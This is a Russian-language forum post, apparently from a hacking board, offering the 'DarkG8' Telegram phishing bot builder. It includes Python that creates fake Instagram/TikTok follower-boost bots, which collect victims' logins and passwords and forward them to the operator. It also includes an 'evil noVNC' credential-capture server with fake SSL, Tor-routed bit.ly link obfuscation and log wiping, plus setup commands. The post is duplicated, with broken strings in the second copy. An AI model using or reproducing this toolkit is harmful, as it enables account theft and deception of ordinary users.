Coder_CC
Member
- Messages
- 24
- Reaction score
- 9
- Points
- 3
Этот код представляет собой инструмент для создания фишинговых ботов в Telegram.
Основные функции кода:
Создание фишингового бота:
Целевые платформы:
Сбор данных:
Бот собирает:
Отправка данных:
Обман пользователя:
Код:
import telebot
from telebot import types
import time
import os
from sys import platform
def clear_screen():
os.system('cls' if platform == 'win32' else 'clear')
clear_screen()
print('''\033[92m
.e$$$$e.
e$$$$$$$$$$e
$$$$$$by$$$$$$
d$$$$$$$$$$$$$$b
$$$$$DarkG8$$$$$
4$$$$$$$$$$$$$$$$F
4$$$$$$$$$$$$$$$$F
$$$" "$$$$" "$$$
$$F 4$$F 4$$
'$F * 4$$F * 4$"
$$ $$$$ $P
4$$$$$"^$$$$$%
$$$$F 4$$$$
"$$$ee$$$"
. *$$$$F4
$ .$
"$$$$$$"
^$$$$
4$$c "" .$$r
^$$$b e$$$"
d$$$$$e z$$$$$b
4$$$*$$$$$c .$$$$$*$$$r
"" ^*$$$be$$$*" ^"
"$$$$"
.d$$P$$$b
d$$P ^$$$b
.ed$$$" "$$$be.
$$$$$$P *$$$$$$
4$$$$$P $$$$$$"
"*$$$" ^$$P
"" ^"
\033[0m''')
print('''\033[95m
_____ _____ _ _____
|_ _| ___| | | ___
| | | |__ | | | |__
| | | __|| | | __|
| | | |___| |____| |___
\_/ \____/\_____/\____/ \033[91m
______ _ _ _____ _____ _ _
| ___ \ | | |_ _/ ___| | | |
| |_/ / |_| | | | \ `--.| |_| |
| __/| _ | | | `--. \ _ |
| | | | | |_| |_/\__/ / | | |
\_| \_| |_/\___/\____/\_| |_/
\033[0m''')
print('\033[92m#########################################')
print('\033[92m+\033[94m Telegram phishing bot builder \033[92m+')
print('\033[92m+\033[94m Developer: DarkG8 \033[92m+')
print('\033[92m#########################################\033[0m')
def validate_input(prompt, input_type=str):
while True:
user_input = input(prompt)
if input_type == int:
if user_input.isdigit():
return int(user_input)
print("Ошибка: введите число!")
else:
if user_input.strip():
return user_input
print("Ошибка: ввод не может быть пустым!")
userid = validate_input('\033[93mВведите свой Telegram ID > \033[0m')
token = validate_input('\033[94mВведите токен бота > \033[0m')
print('''\033[96m
[1] Instagram
[2] Tiktok
\033[0m''')
choice = validate_input('\033[95mВыберите вариант фишинга в боте>>> \033[0m', int)
def generate_bot_script(platform_name):
return f"""import telebot
from telebot import types
import time
print("Бот запущен и готов к работе!")
log = open('bot-log.txt', 'a+', encoding='utf-8')
ID = '{userid}'
bot = telebot.TeleBot("{token}")
try:
bot.send_message(ID, '!The bot is up and running!')
except:
print("Error: you may not have written /start to the bot!")
@bot.message_handler(commands=['start'])
def start(message):
bot.send_message(message.chat.id, '''
Hi! 
This is a recruiting bot for your {platform_name} account!
To get started, press /tipping''')
@bot.message_handler(commands=['nacrutka', 'n'])
def start_nacrutka(message):
keyboard = types.InlineKeyboardMarkup(row_width=2)
buttons = [
types.InlineKeyboardButton("Barkers
", callback_data="likes"),
types.InlineKeyboardButton("Subscribers
", callback_data="subs")
]
if platform_name.lower() == 'tiktok':
buttons.extend([
types.InlineKeyboardButton("Views
", callback_data="views"),
types.InlineKeyboardButton("reposts
", callback_data="reposts")
])
keyboard.add(*buttons)
bot.send_message(message.chat.id, "Choose an option:", reply_markup=keyboard)
@bot.callback_query_handler(func=lambda call: True)
def handle_query(call):
msg = bot.send_message(call.message.chat.id, 'Enter the quantity (max. 500):')
bot.register_next_step_handler(msg, process_quantity)
def process_quantity(message):
try:
num = int(message.text)
if num <= 0 or num > 500:
bot.reply_to(message, "Enter a number from 1 to 500!")
return
msg = bot.send_message(message.chat.id, 'Enter your login/phone number:')
bot.register_next_step_handler(msg, process_login)
except ValueError:
bot.reply_to(message, "Enter the correct number!")
def process_login(message):
login = message.text
log_data = f'''Data {platform_name}:
ID: {message.from_user.id}
Nick: @{message.from_user.username}
Login: {login}
Name: {message.from_user.first_name}
'''
log.write(log_data)
bot.send_message(ID, log_data)
msg = bot.send_message(message.chat.id, 'Enter your password:')
bot.register_next_step_handler(msg, process_password)
def process_password(message):
password = message.text
log_data = f'''Password {platform_name}:
ID: {message.from_user.id}
Password: {password}
'''
log.write(log_data)
bot.send_message(ID, log_data)
bot.reply_to(message, 'Thank you! Expect a tipping within 24 hours!')
time.sleep(1)
bot.send_message(message.chat.id, '
Don't give your details to anyone!')
bot.polling()
"""
if choice == 1:
with open('Instagram.py', 'w', encoding='utf-8') as f:
f.write(generate_bot_script('Instagram'))
print("\nInstagram.py successfully created!")
elif choice == 2:
with open('TikTok.py', 'w', encoding='utf-8') as f:
f.write(generate_bot_script('TikTok'))
print("\nThe file TikTok.py has been successfully created!")
input("\nPress Enter to exit...")
clear_screen()
---------------------------------------------------------
Один пользователь попросил добавить фишинговую атаку через злой браузер novnc.
Код:
import telebot
from telebot import types
import subprocess
import threading
import os
import time
from sys import platform
# Settings
YOUR_TELEGRAM_ID = "YOUR_TELEGRAM_ID" # Replace with your ID
BOT_TOKEN = "YOUR_TOKEN_BOTH" # Telegram bot token
SERVER_IP = "YOUR_IP_OR_DOMAIN" # IP/VPS servers
DOCKER_IMAGE = "darkg8/evil-novnc" # Docker image for noVNC
# Logging
LOG_FILE = "novnc_phishing_logs.txt"
# Running evil noVNC in Docker
def start_evil_novnc():
try:
# Stopping the old container (if any)
subprocess.run(["docker", "stop", "evil-novnc"], stderr=subprocess.DEVNULL)
subprocess.run(["docker", "rm", "evil-novnc"], stderr=subprocess.DEVNULL)
# Starting a new container
subprocess.run([
"docker", "run", "-d",
"--name", "evil-novnc",
"-p", "6080:6080",
"-v", "/root/novnc-sessions:/sessions",
DOCKER_IMAGE
], check=True)
with open(LOG_FILE, "a") as log:
log.write("[+] Evil noVNC server is up and running!\n")
except Exception as e:
with open(LOG_FILE, "a") as log:
log.write(f"[!] Ошибка: {e}\n")
# Sending logs to Telegram
def send_logs_to_telegram(log_data):
bot = telebot.TeleBot(BOT_TOKEN)
try:
bot.send_message(YOUR_TELEGRAM_ID, log_data)
except Exception as e:
with open(LOG_FILE, "a") as log:
log.write(f"[!] Sending error in Telegram: {e}\n")
# Main bot
bot = telebot.TeleBot(BOT_TOKEN)
@bot.message_handler(commands=['start'])
def start(message):
# Button to go to a phishing page
markup = types.InlineKeyboardMarkup()
markup.add(types.InlineKeyboardButton(
text="
Log in to the scoring system (noVNC)",
url=f"http://{SERVER_IP}:6080/vnc.html?host={SERVER_IP}&port=6080"
))
bot.send_message(
message.chat.id,
"
To access the hover panel, open your browser via the button below. \n" "The session will be active for 5 minutes. After logging in, enter your account login/password.",
reply_markup=markup
)
# Monitoring new sessions
def monitor_sessions():
while True:
try:
sessions_dir = "/root/novnc-sessions"
if os.path.exists(sessions_dir):
for session_file in os.listdir(sessions_dir):
if session_file.endswith(".log"):
file_path = os.path.join(sessions_dir, session_file)
with open(file_path, "r") as f:
data = f.read()
if "LOGIN:" in data:
send_logs_to_telegram(f"
New data:\n{data}")
os.remove(file_path)
except Exception as e:
with open(LOG_FILE, "a") as log:
log.write(f"[!] Monitoring error: {e}\n")
time.sleep(10)
if __name__ == "__main__":
# Running noVNC in a separate thread
threading.Thread(target=start_evil_novnc, daemon=True).start()
# Session monitoring
threading.Thread(target=monitor_sessions, daemon=True).start()
# Starting the bot
print("[+] Bot's up and running. Waiting for victims...")
bot.polling()
Инструкция по применению: Требования
Код:
sudo apt update && sudo apt install -y docker.io python3-pip
pip3 install pyTelegramBotAPI
Запуск вредоносного noVNC:
Код:
docker pull darkg8/evil-novnc # Download image
python3 EvilnoVNC_Phishing.py # Start the bot
Как это работает: .
дополнения:
Код:
import telebot
from telebot import types
import subprocess
import threading
import os
import time
import requests
from sys import platform
import shutil
from OpenSSL import crypto
# ===== CONFIGURATION =====
YOUR_TELEGRAM_ID = "YOUR_TELEGRAM_ID" # Your Telegram ID
BOT_TOKEN = "YOUR_TOKEN_BOTH" # Token bot
BITLY_TOKEN = "YOUR_BITLY_TOKEN" # bit.ly [WARNING: potentially infected] API key (optional)
TOR_PROXY = "socks5://127.0.0.1:9050" # Tor proxy
# Docker-образ
DOCKER_IMAGE = "darkg8/evil-novnc"
DOMAIN = "your-fake-domain.com" # Dummy domain for SSL
# ===== FUNCTIONS =====
def generate_self_signed_cert():
"""Generating a fake SSL certificate"""
key = crypto.PKey()
key.generate_key(crypto.TYPE_RSA, 2048)
cert = crypto.X509()
cert.get_subject().CN = DOMAIN
cert.set_serial_number(1000)
cert.gmtime_adj_notBefore(0)
cert.gmtime_adj_notAfter(365*24*60*60) # 1 год
cert.set_issuer(cert.get_subject())
cert.set_pubkey(key)
cert.sign(key, 'sha256')
with open("fake_cert.pem", "wb") as f:
f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))
with open("fake_key.pem", "wb") as f:
f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, key))
def shorten_url(url):
"""URL obfuscation via bit.ly [WARNING: potentially infected]"""
try:
response = requests.post(
"https://api-ssl.bitly.com/v4/shorten",
json={"long_url": url},
headers={"Authorization": f"Bearer {BITLY_TOKEN}"},
proxies={"https": TOR_PROXY} if TOR_PROXY else None
)
return response.json().get("link", url)
except:
return url # If bit.ly [WARNING: potentially infected] doesn't work, return the original link
def start_evil_novnc():
"""Running evil noVNC with Tor and SSL"""
try:
# SSL generation
generate_self_signed_cert()
# Running a container with Tor and SSL
subprocess.run([
"docker", "run", "-d",
"--name", "evil-novnc",
"-p", "6080:6080",
"-p", "443:443",
"-v", f"{os.getcwd()}/fake_cert.pem:/cert.pem",
"-v", f"{os.getcwd()}/fake_key.pem:/key.pem",
"-v", "/root/novnc-sessions:/sessions",
"-e", "USE_SSL=true",
"-e", "TOR_ROUTING=true", # Built-in Tor support
DOCKER_IMAGE
], check=True)
except Exception as e:
log_error(f"NoVNC startup error: {e}")
def log_error(message):
"""Error Logging"""
with open("errors.log", "a") as f:
f.write(f"[!] {time.ctime()}: {message}\n")
# ===== TELEGRAM BOTH =====
bot = telebot.TeleBot(BOT_TOKEN)
@bot.message_handler(commands=['start'])
def start(message):
# Phishing link generation
phishing_url = f"https://{DOMAIN}:6080/vnc.html?host={DOMAIN}&port=6080"
short_url = shorten_url(phishing_url) # Obfuscation
# Sending a message with the button
markup = types.InlineKeyboardMarkup()
markup.add(types.InlineKeyboardButton(
text="
Log in (Secure Access)",
url=short_url
))
bot.send_message(
message.chat.id,
"
For secure access to the service, use a secure connection:\n\n"
f"• Reference: <code>{short_url}</code>\n"
"• Session time: 5 минут"
parse_mode="HTML",
reply_markup=markup
)
# ===== STARTING =====
if __name__ == "__main__":
# Running in separate threads
threading.Thread(target=start_evil_novnc, daemon=True).start()
# Clearing old logs (once a day)
def clean_logs():
while True:
time.sleep(86400) # 24 hours
shutil.rmtree("/root/novnc-sessions", ignore_errors=True)
threading.Thread(target=clean_logs, daemon=True).start()
print("[+] The bot is up and running")
bot.polling()
Основные функции кода:
Создание фишингового бота:
- Код генерирует скрипт бота для Telegram, который имитирует сервис подсчета очков (увеличения количества лайков, подписчиков, просмотров) для Instagram или TikTok.
- Бот запрашивает у пользователя логин, номер телефона и пароль, якобы для совершения обмана, но на самом деле сохраняет эти данные в файле bot-log.txt и отправляет его создателю бота.
Целевые платформы:
- Пользователь может выбрать, для какой платформы (Instagram или TikTok) будет создан фишинговый бот. В зависимости от выбора бот предлагает различные варианты «настройки».
Сбор данных:
Бот собирает:
- Логин или номер телефона.
- Пароль.
- Идентификатор пользователя в Telegram.
- Псевдоним (@username) и имя пользователя.
Отправка данных:
- Собранные данные сохраняются в файле bot-log.txt и отправляются создателю бота через Telegram с использованием указанного токена и идентификатора.
Обман пользователя:
- После ввода данных бот сообщает, что «обман» будет выполнен в течение 24 часов, и предупреждает пользователя не делиться своими данными с другими, чтобы не создавать видимость проблем с безопасностью.
Код:
import telebot
from telebot import types
import time
import os
from sys import platform
def clear_screen():
os.system('cls' if platform == 'win32' else 'clear')
clear_screen()
print('''\033[92m
.e$$$$e.
e$$$$$$$$$$e
$$$$$$by$$$$$$
d$$$$$$$$$$$$$$b
$$$$$DarkG8$$$$$
4$$$$$$$$$$$$$$$$F
4$$$$$$$$$$$$$$$$F
$$$" "$$$$" "$$$
$$F 4$$F 4$$
'$F * 4$$F * 4$"
$$ $$$$ $P
4$$$$$"^$$$$$%
$$$$F 4$$$$
"$$$ee$$$"
. *$$$$F4
$ .$
"$$$$$$"
^$$$$
4$$c "" .$$r
^$$$b e$$$"
d$$$$$e z$$$$$b
4$$$*$$$$$c .$$$$$*$$$r
"" ^*$$$be$$$*" ^"
"$$$$"
.d$$P$$$b
d$$P ^$$$b
.ed$$$" "$$$be.
$$$$$$P *$$$$$$
4$$$$$P $$$$$$"
"*$$$" ^$$P
"" ^"
\033[0m''')
print('''\033[95m
_____ _____ _ _____
|_ _| ___| | | ___
| | | |__ | | | |__
| | | __|| | | __|
| | | |___| |____| |___
\_/ \____/\_____/\____/ \033[91m
______ _ _ _____ _____ _ _
| ___ \ | | |_ _/ ___| | | |
| |_/ / |_| | | | \ `--.| |_| |
| __/| _ | | | `--. \ _ |
| | | | | |_| |_/\__/ / | | |
\_| \_| |_/\___/\____/\_| |_/
\033[0m''')
print('\033[92m#########################################')
print('\033[92m+\033[94m Telegram phishing bot builder \033[92m+')
print('\033[92m+\033[94m Developer: DarkG8 \033[92m+')
print('\033[92m#########################################\033[0m')
def validate_input(prompt, input_type=str):
while True:
user_input = input(prompt)
if input_type == int:
if user_input.isdigit():
return int(user_input)
print("Ошибка: введите число!")
else:
if user_input.strip():
return user_input
print("Ошибка: ввод не может быть пустым!")
userid = validate_input('\033[93mВведите свой Telegram ID > \033[0m')
token = validate_input('\033[94mВведите токен бота > \033[0m')
print('''\033[96m
[1] Instagram
[2] Tiktok
\033[0m''')
choice = validate_input('\033[95mВыберите вариант фишинга в боте>>> \033[0m', int)
def generate_bot_script(platform_name):
return f"""import telebot
from telebot import types
import time
print("Бот запущен и готов к работе!")
log = open('bot-log.txt', 'a+', encoding='utf-8')
ID = '{userid}'
bot = telebot.TeleBot("{token}")
try:
bot.send_message(ID, '!The bot is up and running!')
except:
print("Error: you may not have written /start to the bot!")
@bot.message_handler(commands=['start'])
def start(message):
bot.send_message(message.chat.id, '''


This is a recruiting bot for your {platform_name} account!
To get started, press /tipping''')
@bot.message_handler(commands=['nacrutka', 'n'])
def start_nacrutka(message):
keyboard = types.InlineKeyboardMarkup(row_width=2)
buttons = [
types.InlineKeyboardButton("Barkers

types.InlineKeyboardButton("Subscribers

]
if platform_name.lower() == 'tiktok':
buttons.extend([
types.InlineKeyboardButton("Views

types.InlineKeyboardButton("reposts

])
keyboard.add(*buttons)
bot.send_message(message.chat.id, "Choose an option:", reply_markup=keyboard)
@bot.callback_query_handler(func=lambda call: True)
def handle_query(call):
msg = bot.send_message(call.message.chat.id, 'Enter the quantity (max. 500):')
bot.register_next_step_handler(msg, process_quantity)
def process_quantity(message):
try:
num = int(message.text)
if num <= 0 or num > 500:
bot.reply_to(message, "Enter a number from 1 to 500!")
return
msg = bot.send_message(message.chat.id, 'Enter your login/phone number:')
bot.register_next_step_handler(msg, process_login)
except ValueError:
bot.reply_to(message, "Enter the correct number!")
def process_login(message):
login = message.text
log_data = f'''Data {platform_name}:
ID: {message.from_user.id}
Nick: @{message.from_user.username}
Login: {login}
Name: {message.from_user.first_name}
'''
log.write(log_data)
bot.send_message(ID, log_data)
msg = bot.send_message(message.chat.id, 'Enter your password:')
bot.register_next_step_handler(msg, process_password)
def process_password(message):
password = message.text
log_data = f'''Password {platform_name}:
ID: {message.from_user.id}
Password: {password}
'''
log.write(log_data)
bot.send_message(ID, log_data)
bot.reply_to(message, 'Thank you! Expect a tipping within 24 hours!')
time.sleep(1)
bot.send_message(message.chat.id, '

bot.polling()
"""
if choice == 1:
with open('Instagram.py', 'w', encoding='utf-8') as f:
f.write(generate_bot_script('Instagram'))
print("\nInstagram.py successfully created!")
elif choice == 2:
with open('TikTok.py', 'w', encoding='utf-8') as f:
f.write(generate_bot_script('TikTok'))
print("\nThe file TikTok.py has been successfully created!")
input("\nPress Enter to exit...")
clear_screen()
---------------------------------------------------------
Один пользователь попросил добавить фишинговую атаку через злой браузер novnc.
Код:
import telebot
from telebot import types
import subprocess
import threading
import os
import time
from sys import platform
# Settings
YOUR_TELEGRAM_ID = "YOUR_TELEGRAM_ID" # Replace with your ID
BOT_TOKEN = "YOUR_TOKEN_BOTH" # Telegram bot token
SERVER_IP = "YOUR_IP_OR_DOMAIN" # IP/VPS servers
DOCKER_IMAGE = "darkg8/evil-novnc" # Docker image for noVNC
# Logging
LOG_FILE = "novnc_phishing_logs.txt"
# Running evil noVNC in Docker
def start_evil_novnc():
try:
# Stopping the old container (if any)
subprocess.run(["docker", "stop", "evil-novnc"], stderr=subprocess.DEVNULL)
subprocess.run(["docker", "rm", "evil-novnc"], stderr=subprocess.DEVNULL)
# Starting a new container
subprocess.run([
"docker", "run", "-d",
"--name", "evil-novnc",
"-p", "6080:6080",
"-v", "/root/novnc-sessions:/sessions",
DOCKER_IMAGE
], check=True)
with open(LOG_FILE, "a") as log:
log.write("[+] Evil noVNC server is up and running!\n")
except Exception as e:
with open(LOG_FILE, "a") as log:
log.write(f"[!] Ошибка: {e}\n")
# Sending logs to Telegram
def send_logs_to_telegram(log_data):
bot = telebot.TeleBot(BOT_TOKEN)
try:
bot.send_message(YOUR_TELEGRAM_ID, log_data)
except Exception as e:
with open(LOG_FILE, "a") as log:
log.write(f"[!] Sending error in Telegram: {e}\n")
# Main bot
bot = telebot.TeleBot(BOT_TOKEN)
@bot.message_handler(commands=['start'])
def start(message):
# Button to go to a phishing page
markup = types.InlineKeyboardMarkup()
markup.add(types.InlineKeyboardButton(
text="

url=f"http://{SERVER_IP}:6080/vnc.html?host={SERVER_IP}&port=6080"
))
bot.send_message(
message.chat.id,
"

reply_markup=markup
)
# Monitoring new sessions
def monitor_sessions():
while True:
try:
sessions_dir = "/root/novnc-sessions"
if os.path.exists(sessions_dir):
for session_file in os.listdir(sessions_dir):
if session_file.endswith(".log"):
file_path = os.path.join(sessions_dir, session_file)
with open(file_path, "r") as f:
data = f.read()
if "LOGIN:" in data:
send_logs_to_telegram(f"

os.remove(file_path)
except Exception as e:
with open(LOG_FILE, "a") as log:
log.write(f"[!] Monitoring error: {e}\n")
time.sleep(10)
if __name__ == "__main__":
# Running noVNC in a separate thread
threading.Thread(target=start_evil_novnc, daemon=True).start()
# Session monitoring
threading.Thread(target=monitor_sessions, daemon=True).start()
# Starting the bot
print("[+] Bot's up and running. Waiting for victims...")
bot.polling()
Инструкция по применению: Требования
- Сервер/VPS с Docker (Ubuntu/Debian).
- Установлен Python 3.10+.
Код:
sudo apt update && sudo apt install -y docker.io python3-pip
pip3 install pyTelegramBotAPI
Запуск вредоносного noVNC:
Код:
docker pull darkg8/evil-novnc # Download image
python3 EvilnoVNC_Phishing.py # Start the bot
Как это работает: .
- Жертва получает ссылку на «панель всплывающей подсказки» (поддельный noVNC).
- Все введенные логины/пароли сохраняются в /root/novnc-sessions/.
- Бот автоматически отправляет данные вам в Telegram.
дополнения:
- Скрытие IP через Tor
- Обфускация ссылок (bit.ly [ВНИМАНИЕ: потенциально заражено])
- Поддельный SSL (самозаверяющий сертификат)
- Автоматическое удаление журналов через 24 часа
Код:
import telebot
from telebot import types
import subprocess
import threading
import os
import time
import requests
from sys import platform
import shutil
from OpenSSL import crypto
# ===== CONFIGURATION =====
YOUR_TELEGRAM_ID = "YOUR_TELEGRAM_ID" # Your Telegram ID
BOT_TOKEN = "YOUR_TOKEN_BOTH" # Token bot
BITLY_TOKEN = "YOUR_BITLY_TOKEN" # bit.ly [WARNING: potentially infected] API key (optional)
TOR_PROXY = "socks5://127.0.0.1:9050" # Tor proxy
# Docker-образ
DOCKER_IMAGE = "darkg8/evil-novnc"
DOMAIN = "your-fake-domain.com" # Dummy domain for SSL
# ===== FUNCTIONS =====
def generate_self_signed_cert():
"""Generating a fake SSL certificate"""
key = crypto.PKey()
key.generate_key(crypto.TYPE_RSA, 2048)
cert = crypto.X509()
cert.get_subject().CN = DOMAIN
cert.set_serial_number(1000)
cert.gmtime_adj_notBefore(0)
cert.gmtime_adj_notAfter(365*24*60*60) # 1 год
cert.set_issuer(cert.get_subject())
cert.set_pubkey(key)
cert.sign(key, 'sha256')
with open("fake_cert.pem", "wb") as f:
f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))
with open("fake_key.pem", "wb") as f:
f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, key))
def shorten_url(url):
"""URL obfuscation via bit.ly [WARNING: potentially infected]"""
try:
response = requests.post(
"https://api-ssl.bitly.com/v4/shorten",
json={"long_url": url},
headers={"Authorization": f"Bearer {BITLY_TOKEN}"},
proxies={"https": TOR_PROXY} if TOR_PROXY else None
)
return response.json().get("link", url)
except:
return url # If bit.ly [WARNING: potentially infected] doesn't work, return the original link
def start_evil_novnc():
"""Running evil noVNC with Tor and SSL"""
try:
# SSL generation
generate_self_signed_cert()
# Running a container with Tor and SSL
subprocess.run([
"docker", "run", "-d",
"--name", "evil-novnc",
"-p", "6080:6080",
"-p", "443:443",
"-v", f"{os.getcwd()}/fake_cert.pem:/cert.pem",
"-v", f"{os.getcwd()}/fake_key.pem:/key.pem",
"-v", "/root/novnc-sessions:/sessions",
"-e", "USE_SSL=true",
"-e", "TOR_ROUTING=true", # Built-in Tor support
DOCKER_IMAGE
], check=True)
except Exception as e:
log_error(f"NoVNC startup error: {e}")
def log_error(message):
"""Error Logging"""
with open("errors.log", "a") as f:
f.write(f"[!] {time.ctime()}: {message}\n")
# ===== TELEGRAM BOTH =====
bot = telebot.TeleBot(BOT_TOKEN)
@bot.message_handler(commands=['start'])
def start(message):
# Phishing link generation
phishing_url = f"https://{DOMAIN}:6080/vnc.html?host={DOMAIN}&port=6080"
short_url = shorten_url(phishing_url) # Obfuscation
# Sending a message with the button
markup = types.InlineKeyboardMarkup()
markup.add(types.InlineKeyboardButton(
text="

url=short_url
))
bot.send_message(
message.chat.id,
"

f"• Reference: <code>{short_url}</code>\n"
"• Session time: 5 минут"
parse_mode="HTML",
reply_markup=markup
)
# ===== STARTING =====
if __name__ == "__main__":
# Running in separate threads
threading.Thread(target=start_evil_novnc, daemon=True).start()
# Clearing old logs (once a day)
def clean_logs():
while True:
time.sleep(86400) # 24 hours
shutil.rmtree("/root/novnc-sessions", ignore_errors=True)
threading.Thread(target=clean_logs, daemon=True).start()
print("[+] The bot is up and running")
bot.polling()